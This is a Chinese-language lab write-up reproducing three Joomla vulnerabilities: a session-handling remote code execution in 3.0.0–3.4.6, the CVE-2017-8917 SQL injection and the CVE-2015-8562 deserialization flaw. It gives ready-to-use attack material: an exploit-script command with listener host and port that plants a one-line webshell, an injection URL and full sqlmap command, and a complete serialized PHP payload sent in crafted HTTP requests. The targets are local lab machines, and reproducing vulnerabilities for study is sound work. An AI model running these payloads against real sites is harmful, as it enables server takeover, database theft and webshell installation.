漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562

Joomla网站搭建

1.源码下载
官网:https://downloads.joomla.org/。选择对应joomla版本,下载完成后解压到网站根目录即可。

2.网站搭建

  • 网站设置:设置网站名、管理员邮箱、用户名、密码等
    漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第1张图片
  • 连接数据库,输入数据库连接账号及密码
    漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第2张图片
  • 选择模板,安装完成之后,删除安装目录,网站搭建成功
    漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第3张图片

实验一:Joomla 3.0.0 -3.4.6远程代码执行漏洞复现

  • -靶机:win 2003,phpstudy搭建:192.168.242.128
  • 攻击机:win10 物理机
  • 漏洞影响版本:Joomla 3.0.0-3.4.6。漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程命令执行。

利用脚本复现,脚本如下。脚本链接:

https://github.com/kiks7/rusty_joomla_rce

# 漏洞探测
python 1.py -t http://192.168.242.128/joomla_3.4.6 

#返回结果中显示"Vulnerable"则说明目标网站存在漏洞,如图:
漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第4张图片

# 漏洞利用
python 1.py -t http://192.168.242.12+/joomla_3.4.6/ --exploit --lhost 192.168.242.1 --lport 9999  

漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第5张图片
#payload中,–lhost 192.168.242.1是用于监听的主机的ip,–lport 9999是主机一个不被占用的端口,使用exp生成一个木马,下图可以看到成功在目标网站configuration.php文件生成一句话木马。密码是随机生成的(有点长…)。然后菜刀连接即可。
漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第6张图片漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第7张图片

**

实验二:Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞

**

直接使用vulhub搞定实验环境。靶机IP:192.168.1.1

# 环境启动:
docker-compose build  # 编译环境 
docker-compose up -d  # 启动环境 
docker-compose down   # 实验完成后关闭环境

漏洞影响版本:joomla 3.7。走流程joomla网站搭建,不细表。

漏洞利用:
①注入payload:

http://192.168.1.10:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第8张图片

②直接sqlmap梭哈(时间有点长,耐心等待):

sqlmap -u "http://192.168.1.10:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p list[fullordering] --batch --dbms mysql --threads=10 -v --level 3 --risk 3 --technique=E

漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第9张图片

# 小彩蛋:joomla默认后台:
http://192.168.1.10:8080/administrator/

实验三:Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

PHP 5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行。漏洞影响版本:

Joomla 1.5.x, 2.x, and 3.x before 3.4.6

**&**

PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞利用:
①不带User-Agent头,构造数据包如下,得到服务器返回的cookie如图:

GET / HTTP/1.1 
Host: 192.168.1.10:8080 
Accept: */*
Accept-Language: zh-CN,zh;q=0.9 
Connection: close

漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第10张图片

返回的Cookie:

Cookie: 9df88d75d4edd9240d5e956cde96fb9b=bf121d27dda01f8a5c29920fdea9a682

② 在线生成脚本(也可以复制脚本下来自己个生成,在线生成时注意修改php版本):

http://sandbox.onlinephpfunctions.com/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd

漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第11张图片

生成的POC为:

123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

通过注入一个“ |”符号,将它前面的部分全部当作名称,而|后面就可以插入任意序列化串行,构造反序列化代码。

③将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,连续发两次包,可以看到我们的phpinfo()代码被执行:

GET / HTTP/1.1 
Host: 192.168.1.10:8080 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 
Cookie: 9df88d75d4edd9240d5e956cde96fb9b=8b67deb28b214d2922059141be579aec; 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Referer: http://192.168.1.10:8080/installation/index.php 
User-Agent:123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 
Connection: close

漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第12张图片

ps:找了很久并没有合适的脚本一键getshell。获取shell的流程和之前是一样的,先发送带Exp的包,然后包含获取的cookie的包,即可写入一句话了。
《完》
漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562_第13张图片

你可能感兴趣的:(渗透测试)